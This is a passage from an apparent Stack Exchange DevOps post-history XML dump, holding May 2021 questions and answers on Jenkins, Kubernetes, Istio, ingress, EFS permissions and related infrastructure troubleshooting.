this?&#xD;&#xA;  &#xD;&#xA;Btw, I am using Minikube, the image used is already present in Minikube, in *Pipeline Steps* I can clearly see that the commands are getting executed inside the container, and the Jenkinsfile in question:&#xD;&#xA;&#xD;&#xA;```jenkinsfile&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;&#xD;&#xA;  stages {&#xD;&#xA;    stage('Test') {&#xD;&#xA;      agent {&#xD;&#xA;        kubernetes {&#xD;&#xA;          yaml '''&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    jenkins: slave&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;    - name: auth&#xD;&#xA;      image: auth&#xD;&#xA;      ports:&#xD;&#xA;        - containerPort: 8000&#xD;&#xA;          hostPort: 8000&#xD;&#xA;      tty: true&#xD;&#xA;      env:&#xD;&#xA;        - name: MONGODB_TEST&#xD;&#xA;          value: localhost:27017&#xD;&#xA;        - name: PORT&#xD;&#xA;          value: &quot;8000&quot;&#xD;&#xA;        - name: JWT_KEY&#xD;&#xA;          value: &quot;test123&quot;&#xD;&#xA;        - name: JWT_EXPIRES_IN&#xD;&#xA;          value: 7d&#xD;&#xA;      imagePullPolicy: Never&#xD;&#xA;'''&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      steps {&#xD;&#xA;        container('auth') {&#xD;&#xA;          sh &quot;ls -la&quot; // workspace is from the pipeline, not the container itself&#xD;&#xA;          sh &quot;npm run test&quot; // fail, npm not being able to find package.json&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/kubernetes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43806" PostHistoryTypeId="1" PostId="13927" RevisionGUID="e5a79530-9909-44d7-86e5-57fc04a551c0" CreationDate="2021-05-16T14:51:19.780" UserId="27721" Text="How to execute npm commands inside a Docker container on a Kubernetes pod from a Jenkins pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43807" PostHistoryTypeId="3" PostId="13927" RevisionGUID="e5a79530-9909-44d7-86e5-57fc04a551c0" CreationDate="2021-05-16T14:51:19.780" UserId="27721" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43808" PostHistoryTypeId="2" PostId="13928" RevisionGUID="6fbbebec-4237-4f0d-82e7-1084ab7476d9" CreationDate="2021-05-16T16:12:02.020" UserId="27722" Text="I am intercepting a service at port 389 and applying tls-origination, so my destination rules is as follows:&#xD;&#xA;&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: DestinationRule&#xD;&#xA;    metadata:&#xD;&#xA;      name: ldap&#xD;&#xA;    spec:&#xD;&#xA;      host: ...&#xD;&#xA;      subsets:&#xD;&#xA;      - name: tls-origination&#xD;&#xA;        trafficPolicy:&#xD;&#xA;          loadBalancer:&#xD;&#xA;            simple: ROUND_ROBIN&#xD;&#xA;          portLevelSettings:&#xD;&#xA;          - port:&#xD;&#xA;              number: 636&#xD;&#xA;            tls:&#xD;&#xA;              mode: SIMPLE&#xD;&#xA;              caCertificates: /path/to/certificate/ldap.pem&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The value `/path/to/certificate/ldap.pem` is the path in my local machine to the file. When I look at the istio proxy logs, after having applied the destination rules, I get the following error:&#xD;&#xA;&#xD;&#xA;&gt; type.googleapis.com/envoy.api.v2.Cluster rejected: Error&#xD;&#xA;&gt; adding/updating cluster(s) outbound|636|tls-origination|...: Invalid&#xD;&#xA;&gt; path: /path/to/certificate/ldap.pem&#xD;&#xA;&#xD;&#xA;I have fix this by adding the certificate inside the pod, but that sounds to me a bad design is there anyway of deploying the caCertificate elsewhere (istiod or something) ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43809" PostHistoryTypeId="1" PostId="13928" RevisionGUID="6fbbebec-4237-4f0d-82e7-1084ab7476d9" CreationDate="2021-05-16T16:12:02.020" UserId="27722" Text="tls-origination: Invalid path istio when importing tls" ContentLicense="CC BY-SA 4.0" />
  <row Id="43810" PostHistoryTypeId="3" PostId="13928" RevisionGUID="6fbbebec-4237-4f0d-82e7-1084ab7476d9" CreationDate="2021-05-16T16:12:02.020" UserId="27722" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43811" PostHistoryTypeId="2" PostId="13929" RevisionGUID="c3f0c8c0-813b-4aea-8561-aad31e28f57a" CreationDate="2021-05-16T17:57:37.330" UserId="27723" Text="This is currentUser middleware:&#xD;&#xA;&#xD;&#xA;```js&#xD;&#xA;    export const currentUser = (&#xD;&#xA;      req: Request,&#xD;&#xA;      res: Response,&#xD;&#xA;      next: NextFunction&#xD;&#xA;    ) =&gt; {&#xD;&#xA; &#xD;&#xA;      if (!req.session?.jwt) {&#xD;&#xA;        return next();&#xD;&#xA;      }&#xD;&#xA;      try {&#xD;&#xA;        const payload = jwt.verify(&#xD;&#xA;          req.session.jwt,&#xD;&#xA;          process.env.JWT_KEY!&#xD;&#xA;        ) as UserPayload;&#xD;&#xA;        console.log(&quot;payload in curretnUser middleware&quot;, payload);&#xD;&#xA;        req.currentUser = payload;&#xD;&#xA;      } catch (err) {&#xD;&#xA;        console.log(&#xD;&#xA;          &quot;error in currentUser middleware in common module&quot;,&#xD;&#xA;          err.message&#xD;&#xA;        );&#xD;&#xA;      }&#xD;&#xA;      next();&#xD;&#xA;    };&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;this is payload object that logged:&#xD;&#xA;&#xD;&#xA;```js&#xD;&#xA;      payload in curretnUser middleware {&#xD;&#xA;      id: '609b356f99a625001a76e65e',&#xD;&#xA;      email: 'test@test.com',&#xD;&#xA;      iat: 1620784495&#xD;&#xA;   }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;this is the router in &quot;auth&quot; service:&#xD;&#xA;&#xD;&#xA;```js&#xD;&#xA;router.get(&#xD;&#xA;  &quot;/api/users/currentuser&quot;,&#xD;&#xA;  currentUser,&#xD;&#xA;  (req: Request, res: Response) =&gt; {&#xD;&#xA;    // if req.currentUser is not defined it will send undefined&#xD;&#xA;    console.log(&quot;request to api/users/currentuser&quot;, req.currentUser);&#xD;&#xA;    res.send({ currentUser: req.currentUser || null });&#xD;&#xA;  }&#xD;&#xA;);&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When request hits this route, this gets logged:&#xD;&#xA;&#xD;&#xA;```js&#xD;&#xA;request to api/users/currentuser {&#xD;&#xA;     currentUser: {&#xD;&#xA;     id: '609b356f99a625001a76e65e',&#xD;&#xA;     email: 'test@test.com',&#xD;&#xA;     iat: 1620784495&#xD;&#xA;   }&#xD;&#xA; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How ever when I send POST request through postman I get `currentUser:null`. Somehow kubernetes or ingress-nginx is not attaching &quot;currentUser&quot; to request object and I could not figure out why. This is the nginx-ingress config:&#xD;&#xA;&#xD;&#xA;```js&#xD;&#xA;apiVersion: networking.k8s.io/v1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: ingress-srv&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: nginx&#xD;&#xA;    nginx.org/client-max-body-size: &quot;4m&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/use-regex: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/enable-cors: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/auth-method: POST&#xD;&#xA;spec:&#xD;&#xA;  defaultBackend:&#xD;&#xA;    service:&#xD;&#xA;      name:&#xD;&#xA;        nginx-ingress-default-backend&#xD;&#xA;        # name: default-http-backend:80&#xD;&#xA;      port:&#xD;&#xA;        number: 80&#xD;&#xA;&#xD;&#xA;  rules:&#xD;&#xA;    - host: ticketing.dev&#xD;&#xA;      http:&#xD;&#xA;        paths:&#xD;&#xA;          - path: /api/users/?(.*)&#xD;&#xA;            pathType: Exact&#xD;&#xA;            backend:&#xD;&#xA;              service:&#xD;&#xA;                name: auth-srv&#xD;&#xA;                port:&#xD;&#xA;                  number: 3000&#xD;&#xA;         &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43812" PostHistoryTypeId="1" PostId="13929" RevisionGUID="c3f0c8c0-813b-4aea-8561-aad31e28f57a" CreationDate="2021-05-16T17:57:37.330" UserId="27723" Text="ingrex-nginx in kubernetes with express node.js does not return req.currentUser" ContentLicense="CC BY-SA 4.0" />
  <row Id="43813" PostHistoryTypeId="3" PostId="13929" RevisionGUID="c3f0c8c0-813b-4aea-8561-aad31e28f57a" CreationDate="2021-05-16T17:57:37.330" UserId="27723" Text="&lt;kubernetes&gt;&lt;node.js&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43814" PostHistoryTypeId="50" PostId="13729" RevisionGUID="22760d11-9127-4036-99cf-421b78af8766" CreationDate="2021-05-16T18:07:15.617" UserId="-1" />
  <row Id="43815" PostHistoryTypeId="2" PostId="13930" RevisionGUID="ff87fb5c-6273-4b7a-96ba-2992a4e67f73" CreationDate="2021-05-16T19:53:56.407" UserId="26587" Text="In ansible, `lookup`'s are [executed locally][1] where ansible runs, not on the target server.&#xD;&#xA;&#xD;&#xA;So you will have to ensure that `dnspython` is installed on your ansible machine.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/plugins/lookup.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43816" PostHistoryTypeId="2" PostId="13931" RevisionGUID="4531977a-00ed-457f-b57a-8d6a309b7678" CreationDate="2021-05-16T20:10:38.837" UserId="27443" Text="The sample I posted initially works as is:&#xD;&#xA;&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node2-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node3-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node4-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80" ContentLicense="CC BY-SA 4.0" />
  <row Id="43817" PostHistoryTypeId="2" PostId="13932" RevisionGUID="769e7a54-8870-4472-b3e2-ef3715eb5d0e" CreationDate="2021-05-16T21:33:47.947" UserId="25999" Text="Try using this:- [use-forwarded-headers][1]&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    data:&#xD;&#xA;      use-forwarded-headers: &quot;true&quot;&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx-configuration&#xD;&#xA;      namespace: default&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#use-forwarded-headers" ContentLicense="CC BY-SA 4.0" />
  <row Id="43818" PostHistoryTypeId="2" PostId="13933" RevisionGUID="c01b7a58-6be6-430c-b64f-54f1890a42b5" CreationDate="2021-05-17T02:11:47.947" UserId="27730" Text="I'm using wsl/ubuntu20 with a laravel project on it. now when I am done, I want to upload and sync my project to an existing github repo.  &#xD;&#xA;I don't mind if anything will be deleted on the remote, but i must use the existing repo'.&#xD;&#xA;&#xD;&#xA;What are my options?&#xD;&#xA;&#xD;&#xA;I prefer to do something like:&#xD;&#xA;1. init git repo in the folder(what is the proper syntax?)&#xD;&#xA;2. 'connect' the local and the remote repo's.&#xD;&#xA;3. add / commit / push&#xD;&#xA;4. work... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43819" PostHistoryTypeId="1" PostId="13933" RevisionGUID="c01b7a58-6be6-430c-b64f-54f1890a42b5" CreationDate="2021-05-17T02:11:47.947" UserId="27730" Text="How to upload existing local project to a remote existing and empty github repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="43820" PostHistoryTypeId="3" PostId="13933" RevisionGUID="c01b7a58-6be6-430c-b64f-54f1890a42b5" CreationDate="2021-05-17T02:11:47.947" UserId="27730" Text="&lt;git&gt;&lt;github&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43821" PostHistoryTypeId="5" PostId="6402" RevisionGUID="a8538cf4-63d4-4d11-ab6d-83e9df3d043d" CreationDate="2021-05-17T02:38:16.630" UserId="12482" Comment="added 4 characters in body" Text="In the company I work for, devops engineers (currently only 2 members, who are me and another coworker) are the only people who have access to the production database. &#xD;&#xA;&#xD;&#xA;So when any other developers need to execute a MySQL query on the production database. They would send the query to the 2 engineers to let them execute it. &#xD;&#xA;&#xD;&#xA;Here are the situations when we need to execute commands to the production database:&#xD;&#xA;&#xD;&#xA;1. The database contains corrupted data, which produce bugs. They execute commands to fix the bugs.&#xD;&#xA;&#xD;&#xA;2. A bug is reported. And they want to see the current values inside the database.&#xD;&#xA;&#xD;&#xA;3. One of our customers wants to modify his/her data. But our web application doesn't have the ability to do the modification. So we have to send MySQL commands directly to the database to complete the customer's requirement.&#xD;&#xA;&#xD;&#xA;4. The QA team created test accounts on the production environment. And they want to change the account's status so that they can do other tests.&#xD;&#xA;&#xD;&#xA;This creates a lot of interruptions for me and the other coworker. When we develop programs during the daytime, we often have to switch context just to execute some queries.&#xD;&#xA;&#xD;&#xA;I don't think this is a good architecture for the company. How do you control the permissions to the production environment in your company?&#xD;&#xA;&#xD;&#xA;Our production database consists of sensitive customer information. If the data were leaked out, our company might be fined for millions of dollars." ContentLicense="CC BY-SA 4.0" />
  <row Id="43822" PostHistoryTypeId="2" PostId="13934" RevisionGUID="b1790013-ada2-45bc-9376-4e04bdcd1f7a" CreationDate="2021-05-17T04:34:53.843" UserId="27700" Text="I have not found a clear explanation on what causes the cold start in serverless. Could you try to explain it from both commercial and open-source platform's points of view?&#xD;&#xA;&#xD;&#xA;Commercial platforms such as AWS Lambda or Azure Funtion. I know they are more like a black-box to us&#xD;&#xA;There are open-source platforms such as OpenFaaS, Knative, or OpenWhisk. Do those platforms also have a cold start issue?&#xD;&#xA;&#xD;&#xA;My initial understanding about cold start latency is time spent on spinning up a container. After the container being up, it can be reused if not being killed yet, so there is a warm start. Is this understanding really true? I have tried to run a container locally from the image, no matter how large the image is, the latency is near to none.&#xD;&#xA;&#xD;&#xA;Is the image download time also part of cold start? But no matter how many cold starts happened in one node, only one image download is needed, so this seems to make no sense.&#xD;&#xA;&#xD;&#xA;Maybe a different question, I also wonder what happened when we instantiate a container from the image? Are the executable and its dependent libraries (e.g., Python library) copied from disk into memory during this stage? What if there are multiple containers based on the same image? I guess there should be multiple copies from disk to memory because each container is an independent process.&#xD;&#xA;&#xD;&#xA;Some people have already given good [answers][1], from what they said, allocating a server to handle the request also contributes to the cold start. I would like to hear more insights! &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/67326936/what-causes-cold-start-in-serverless?noredirect=1#comment119402237_67326936" ContentLicense="CC BY-SA 4.0" />
  <row Id="43823" PostHistoryTypeId="1" PostId="13934" RevisionGUID="b1790013-ada2-45bc-9376-4e04bdcd1f7a" CreationDate="2021-05-17T04:34:53.843" UserId="27700" Text="What causes cold start in serverless" ContentLicense="CC BY-SA 4.0" />
  <row Id="43824" PostHistoryTypeId="3" PostId="13934" RevisionGUID="b1790013-ada2-45bc-9376-4e04bdcd1f7a" CreationDate="2021-05-17T04:34:53.843" UserId="27700" Text="&lt;aws-lambda&gt;&lt;serverless&gt;&lt;azure-kubernetes-service&gt;&lt;openwhisk&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43825" PostHistoryTypeId="2" PostId="13935" RevisionGUID="2f6d3238-245c-4ca7-8acb-6d8564122af3" CreationDate="2021-05-17T05:36:29.303" UserId="27725" Text="Mqtt provides methods to work at scale by putting multiple containarised brokers in a kubernetes cluster. I seen EMQ usecase https://www.emqx.io/blog/emqx-in-volkswagen-iov for achieving this using load balancer. I also understand the concept of using bridge to connect two brokers. But is it possible to setup two different types of brokers, for example, EMQ and HiveMQ on a single kubernetes cluster?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43826" PostHistoryTypeId="1" PostId="13935" RevisionGUID="2f6d3238-245c-4ca7-8acb-6d8564122af3" CreationDate="2021-05-17T05:36:29.303" UserId="27725" Text="Is it possible to setup two different types of brokers on a signle cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43827" PostHistoryTypeId="3" PostId="13935" RevisionGUID="2f6d3238-245c-4ca7-8acb-6d8564122af3" CreationDate="2021-05-17T05:36:29.303" UserId="27725" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43829" PostHistoryTypeId="5" PostId="8509" RevisionGUID="e7f1ef74-8c5b-4ae9-84a2-1bc95ad99309" CreationDate="2021-05-17T11:35:03.577" UserId="10201" Comment="deleted 3 characters in body" Text="I want to implement Vault as part of the DevOps build pipeline to store all the secrets like passwords and certificates. I understand that Vault keeps the data encrypted but **I have been asked to look for a way to store the Vault's data in TPM as &quot;it would be more secure and temper-protected&quot;. First off, is this argument valid?** Vault already stores the encrypted data so is this additional layer of encryption really needed?&#xD;&#xA;&#xD;&#xA;I read the Hashicorp's [Vault Storage Documentation][1] and it does not directly support any storage over TPM but if I could mount TPM on the container then I could probably use `filesystem` storage to store data inside it.&#xD;&#xA;&#xD;&#xA;So, is it possible to mount the host system's Trusted Platform Module (TPM) onto a docker container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/docs/configuration/storage/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43830" PostHistoryTypeId="2" PostId="13936" RevisionGUID="1aeb185b-0088-4c24-96b5-7473c32aeb55" CreationDate="2021-05-17T11:53:48.023" UserId="19083" Text="I have a simple Django application and on a regular EC2 instance nginx is a reverse proxy serving static files and proxying requests to gunicorn/wsgi backend app.&#xD;&#xA;&#xD;&#xA;Should I have a separate deployment and service for nginx which will be able to access static data on a volume to serve it as well as proxy requests to django pods or&#xD;&#xA;&#xD;&#xA;Is it possible to configure ingress to serve static data without extra nginx deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43831" PostHistoryTypeId="1" PostId="13936" RevisionGUID="1aeb185b-0088-4c24-96b5-7473c32aeb55" CreationDate="2021-05-17T11:53:48.023" UserId="19083" Text="Kubernetes serve static content with ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="43832" PostHistoryTypeId="3" PostId="13936" RevisionGUID="1aeb185b-0088-4c24-96b5-7473c32aeb55" CreationDate="2021-05-17T11:53:48.023" UserId="19083" Text="&lt;kubernetes&gt;&lt;nginx&gt;&lt;ingress&gt;&lt;eks&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43833" PostHistoryTypeId="2" PostId="13937" RevisionGUID="32d3c0bf-7658-4e7a-9ade-c3b2fd3b4809" CreationDate="2021-05-17T13:20:07.247" UserId="5058" Text="You can't configure your Ingress to serve static data (from your host files for example) alone because the Ingress resource is just a way to configure a way of understanding for Kubernetes on how to access a specific internal resource from outside the cluster.&#xD;&#xA;&#xD;&#xA;&gt; An API object that manages external access to the services in a cluster, typically HTTP.&#xD;&#xA;&gt; Ingress may provide load balancing, SSL termination and name-based virtual hosting.&#xD;&#xA;&gt; -- Ingress | Kubernetes - https://kubernetes.io/docs/concepts/services-networking/ingress/&#xD;&#xA;&#xD;&#xA;You must configure a web server (NGINX, Apache, etc.) with a mounted volume bound to your files. You'll also need a Service resource to publish the web server access internally. Then the Ingress resource will do the work." ContentLicense="CC BY-SA 4.0" />
  <row Id="43838" PostHistoryTypeId="2" PostId="13939" RevisionGUID="3f09b1d8-9fe6-49b3-a629-183307b6a9b4" CreationDate="2021-05-17T15:55:22.417" UserId="27740" Text="I am having trouble configuring a statically provisioned EFS such that multiple pods, which run as a non-root user, can read and write the file system.&#xD;&#xA;&#xD;&#xA;I am using the AWS EFS CSI Driver. My version info is as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;18&quot;, GitVersion:&quot;v1.18.18&quot;, GitCommit:&quot;6f6ce59dc8fefde25a3ba0ef0047f4ec6662ef24&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2021-04-15T03:31:30Z&quot;, GoVersion:&quot;go1.13.15&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;18+&quot;, GitVersion:&quot;v1.18.9-eks-d1db3c&quot;, GitCommit:&quot;d1db3c46e55f95d6a7d3e5578689371318f95ff9&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2020-10-20T22:53:22Z&quot;, GoVersion:&quot;go1.13.15&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I followed the example from the github repo (https://github.com/kubernetes-sigs/aws-efs-csi-driver/tree/master/examples/kubernetes/multiple_pods) updating the volumeHandle appropriately. The busybox containers defined in the specs for the example are able to read and write the file system, but when I add the same PVC to a pod which does not run as the root user the pod is unable to write to the mounted EFS.&#xD;&#xA;I have tried a couple other things to get this working as I expected it to:&#xD;&#xA;* just applying the annotation described here: https://kubernetes.io/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#access-control to the persistent volume definition.&#xD;&#xA;* applying the aforementioned annotation and including securityContext.runAsGroup to the pod definition (with the appropriate value)&#xD;&#xA;* applying the annotation, the runAsGroup, as well as fsGroup for the Pod&#xD;&#xA;&#xD;&#xA;None of these configurations allowed a non-root user to write to the mounted EFS.&#xD;&#xA;What am I missing in terms of configuring a statically provisioned EFS so that multiple pods, all of which run as a non-root user, can read and write in the mounted EFS?&#xD;&#xA;&#xD;&#xA;For reference here are the pod definitions:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  name: app1&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: app1&#xD;&#xA;    image: busybox&#xD;&#xA;    command: [&quot;/bin/sh&quot;]&#xD;&#xA;    args: [&quot;-c&quot;, &quot;while true; do echo $(date -u) &gt;&gt; /data/out1.txt; sleep 5; done&quot;]&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - name: persistent-storage&#xD;&#xA;      mountPath: /data&#xD;&#xA;  volumes:&#xD;&#xA;  - name: persistent-storage&#xD;&#xA;    persistentVolumeClaim:&#xD;&#xA;      claimName: efs-claim&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  name: app2&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: app2&#xD;&#xA;    image: busybox&#xD;&#xA;    command: [&quot;/bin/sh&quot;]&#xD;&#xA;    args: [&quot;-c&quot;, &quot;while true; do echo $(date -u) &gt;&gt; /data/out2.txt; sleep 5; done&quot;]&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - name: persistent-storage&#xD;&#xA;      mountPath: /data&#xD;&#xA;  volumes:&#xD;&#xA;  - name: persistent-storage&#xD;&#xA;    persistentVolumeClaim:&#xD;&#xA;      claimName: efs-claim&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  name: app3&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: app3&#xD;&#xA;    image: busybox&#xD;&#xA;    command: [&quot;/bin/sh&quot;]&#xD;&#xA;    args: [&quot;-c&quot;, &quot;while true; do echo $(date -u) &gt;&gt; /data/out3.txt; sleep 5; done&quot;]&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - name: persistent-storage&#xD;&#xA;      mountPath: /data&#xD;&#xA;  securityContext:&#xD;&#xA;    runAsUser: 1000&#xD;&#xA;    runAsGroup: 1337&#xD;&#xA;    fsGroup: 1337&#xD;&#xA;  volumes:&#xD;&#xA;  - name: persistent-storage&#xD;&#xA;    persistentVolumeClaim:&#xD;&#xA;      claimName: efs-claim&#xD;&#xA;```&#xD;&#xA;And the SC/PVC/PV:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: efs-sc&#xD;&#xA;provisioner: efs.csi.aws.com&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolumeClaim&#xD;&#xA;metadata:&#xD;&#xA;  name: efs-claim&#xD;&#xA;spec:&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  storageClassName: efs-sc&#xD;&#xA;  resources:&#xD;&#xA;    requests:&#xD;&#xA;      storage: 5Gi  &#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolume&#xD;&#xA;metadata:&#xD;&#xA;  name: efs-pv&#xD;&#xA;  annotations:&#xD;&#xA;    pv.beta.kubernetes.io/gid: {{ .Values.groupId | quote }}&#xD;&#xA;spec:&#xD;&#xA;  capacity:&#xD;&#xA;    storage: 5Gi&#xD;&#xA;  volumeMode: Filesystem&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  persistentVolumeReclaimPolicy: Retain&#xD;&#xA;  storageClassName: efs-sc&#xD;&#xA;  csi:&#xD;&#xA;    driver: efs.csi.aws.com&#xD;&#xA;    volumeHandle: fs-asdf123&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43839" PostHistoryTypeId="1" PostId="13939" RevisionGUID="3f09b1d8-9fe6-49b3-a629-183307b6a9b4" CreationDate="2021-05-17T15:55:22.417" UserId="27740" Text="How to allow a non-root user to write to a mounted EFS in EKS" ContentLicense="CC BY-SA 4.0" />
  <row Id="43840" PostHistoryTypeId="3" PostId="13939" RevisionGUID="3f09b1d8-9fe6-49b3-a629-183307b6a9b4" CreationDate="2021-05-17T15:55:22.417" UserId="27740" Text="&lt;kubernetes&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43841" PostHistoryTypeId="50" PostId="4639" RevisionGUID="ac08d4e6-7f14-40aa-aa4b-d961578261fa" CreationDate="2021-05-17T16:01:45.137" UserId="-1" />
  <row Id="43842" PostHistoryTypeId="5" PostId="13914" RevisionGUID="3009bcd9-2a8f-4504-9f5d-ce186fe5d14d" CreationDate="2021-05-17T18:04:51.203" UserId="27656" Comment="added 132 characters in body" Text="I have installed k8s on a linux VM using the steps below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubeadm reset --force&#xD;&#xA;$ [ -e ~/.kube ] &amp;&amp; rm -rf ~/.kube&#xD;&#xA;$ [ -e /etc/kubernetes ] &amp;&amp; rm -rf /etc/kubernetes&#xD;&#xA;$ [ -e /opt/cni ] &amp;&amp; rm -rf /opt/cni&#xD;&#xA;$ yum remove -y kubeadm kubectl kubelet kubernetes-cni kube*&#xD;&#xA;$ yum autoremove -y&#xD;&#xA;$ yum install kubeadm-1.17.17-0 kubectl-1.17.17-0 kubelet-1.17.17-0 --disableexcludes=kubernetes&#xD;&#xA;$ systemctl enable --now kubelet&#xD;&#xA;$ kubeadm init --pod-network-cidr=172.31.255.0/24&#xD;&#xA;$ mkdir -p $HOME/.kube&#xD;&#xA;$ cp -i /etc/kubernetes/admin.conf $HOME/.kube/config&#xD;&#xA;$ chown $(id -u):$(id -g) $HOME/.kube/config&#xD;&#xA;$ kubectl apply -f https://docs.projectcalico.org/v3.11/manifests/calico.yaml&#xD;&#xA;$ kubectl taint nodes --all node-role.kubernetes.io/master-&#xD;&#xA;$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml&#xD;&#xA;$ kubectl create serviceaccount cluster-admin-dashboard-sa&#xD;&#xA;$ kubectl create clusterrolebinding cluster-admin-dashboard-sa --clusterrole=cluster-admin --serviceaccount=default:cluster-admin-dashboard-sa&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am using both [druid-operator](https://github.com/druid-io/druid-operator) and [minio-operator](https://github.com/minio/operator).&#xD;&#xA;&#xD;&#xA;For some reason any deletion or update of components associated to CRDs gets stuck. &#xD;&#xA;&#xD;&#xA;I could workaround dropping finalizers but it is not practical and does not solve the problem of updating components. When I try to drop the namespace it gets stuck as well.&#xD;&#xA;&#xD;&#xA;What Im doing wrong?" 